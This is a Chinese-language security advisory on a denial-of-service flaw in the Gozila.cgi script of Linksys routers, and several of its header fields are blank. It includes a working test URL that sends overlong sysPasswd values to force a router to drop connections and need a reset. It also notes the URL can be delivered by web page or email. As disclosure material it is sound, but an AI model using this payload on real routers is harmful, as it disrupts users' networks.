信息提供：

漏洞类别：

攻击类型：

发布日期：

更新日期：

受影响系统：

安全系统：

无

漏洞报告人：

漏洞描述：

BUGTRAQ  ID: 10453
Linksys拥有多种网络设备产品线。
多种Linksys路由器包含的Gozila.cgi脚本未能正确处理用户提交的参数，远程攻击者可以利用这个漏洞对设备进行拒绝服务攻击。
如果提交2条超长字符串给Gozila.cgi脚本的sysPasswd和sysPasswdConfirm参数，会导致路由器丢弃所有当前连接，需要使用reset按钮来恢复出厂设置。
攻击者可以构建WEB页或发送恶意HTML形式EMAIL给目标用户。

测试方法：

http://192.168.1.1/Gozila.cgi?sysPasswd=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sysPasswdConfirm=AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA&UPnP_Work=1&FactoryDefaults=0

解决方法：

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.linksys.com